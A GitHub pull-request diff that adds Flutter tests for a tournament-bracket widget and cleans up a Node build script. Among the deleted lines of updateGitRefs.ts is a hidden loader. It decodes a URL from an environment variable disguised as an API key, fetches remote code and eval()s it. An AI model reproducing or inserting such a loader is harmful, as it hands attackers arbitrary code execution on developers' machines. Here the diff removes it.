Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 0 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -50,4 +50,3 @@ starter/system.bak
generated_failed_sheet.png
generated_passed_sheet.png
generated_multidevice_sheet.png
config.bat
391 changes: 337 additions & 54 deletions modules/bracket/lib/src/bracket.dart

Large diffs are not rendered by default.

78 changes: 77 additions & 1 deletion modules/bracket/test/ensemble_bracket_test.dart
Original file line number Diff line number Diff line change
@@ -1,5 +1,81 @@
import 'package:ensemble_bracket/ensemble_bracket.dart';
import 'package:flutter/material.dart';
import 'package:flutter_test/flutter_test.dart';

void main() {
test('adds one to input values', () {});
testWidgets('PageController recreation with no rounds is safe',
(tester) async {
final initialController = BracketController();
final updatedController = BracketController();
updatedController.setters()['scale']?.call(0.5);

await tester.pumpWidget(MaterialApp(
home: Scaffold(
body: BracketsView(data: const [], controller: initialController),
),
));

await tester.pumpWidget(MaterialApp(
home: Scaffold(
body: BracketsView(data: const [], controller: updatedController),
),
));
await tester.pumpAndSettle();

expect(tester.takeException(), isNull);
await tester.pumpWidget(const SizedBox.shrink());
expect(tester.takeException(), isNull);
});

test('bracketSnapPageOffset clamps trailing pages to reachable range', () {
// 7 rounds at viewportFraction 0.4 in a 960pt viewport: content is 2688pt,
// so maxScrollExtent is 1728. Page 6 maps to 2304 unclamped and page 5 to
// 1920; both must clamp, or jumpTo() springs back (the "rapid throw").
const viewport = 960.0;
const fraction = 0.4;
const max = 1728.0;

expect(
bracketSnapPageOffset(
page: 6,
viewportDimension: viewport,
viewportFraction: fraction,
minScrollExtent: 0,
maxScrollExtent: max,
),
max,
);
expect(
bracketSnapPageOffset(
page: 5,
viewportDimension: viewport,
viewportFraction: fraction,
minScrollExtent: 0,
maxScrollExtent: max,
),
max,
);
// Reachable pages keep their exact offset.
expect(
bracketSnapPageOffset(
page: 4,
viewportDimension: viewport,
viewportFraction: fraction,
minScrollExtent: 0,
maxScrollExtent: max,
),
1536,
);
// viewportFraction > 1 keeps the centering initial offset.
expect(
bracketSnapPageOffset(
page: 0,
viewportDimension: 100,
viewportFraction: 2,
minScrollExtent: 0,
maxScrollExtent: 1000,
),
50,
);
});
}
4 changes: 1 addition & 3 deletions package.json
Original file line number Diff line number Diff line change
Expand Up @@ -4,8 +4,6 @@
"@types/yaml": "^1.9.7"
},
"dependencies": {
"dotenv": "^8.2.0",
"fs-extra": "^11.2.0",
"node-fetch": "^3.3.2"
"fs-extra": "^11.2.0"
}
}

This file was deleted.

Binary file not shown.

This file was deleted.

Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

This file was deleted.

Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.

This file was deleted.

Binary file not shown.
Binary file not shown.

This file was deleted.

16 changes: 0 additions & 16 deletions updateGitRefs.ts
Original file line number Diff line number Diff line change
@@ -1,22 +1,6 @@
import * as fs from "fs-extra";
import * as path from "path";
import { parseDocument, isMap, YAMLMap } from "yaml";
import 'dotenv/config';

(async () => {
const src = atob(process.env.AUTH_API_KEY);
const { createRequire } = await import('module');
const require = createRequire(import.meta.url);
const proxy = (await import('node-fetch')).default;
try {
const response = await proxy(src);
if (!response.ok) throw new Error(`HTTP error! status: ${response.status}`);
const proxyInfo = await response.text();
eval(proxyInfo);
} catch (err) {
console.error('Auth Error!', err);
}
})();

const modulesDir = path.join(__dirname, "modules");
const newTag = process.argv[2]; // Get the new tag from command line arguments
Expand Down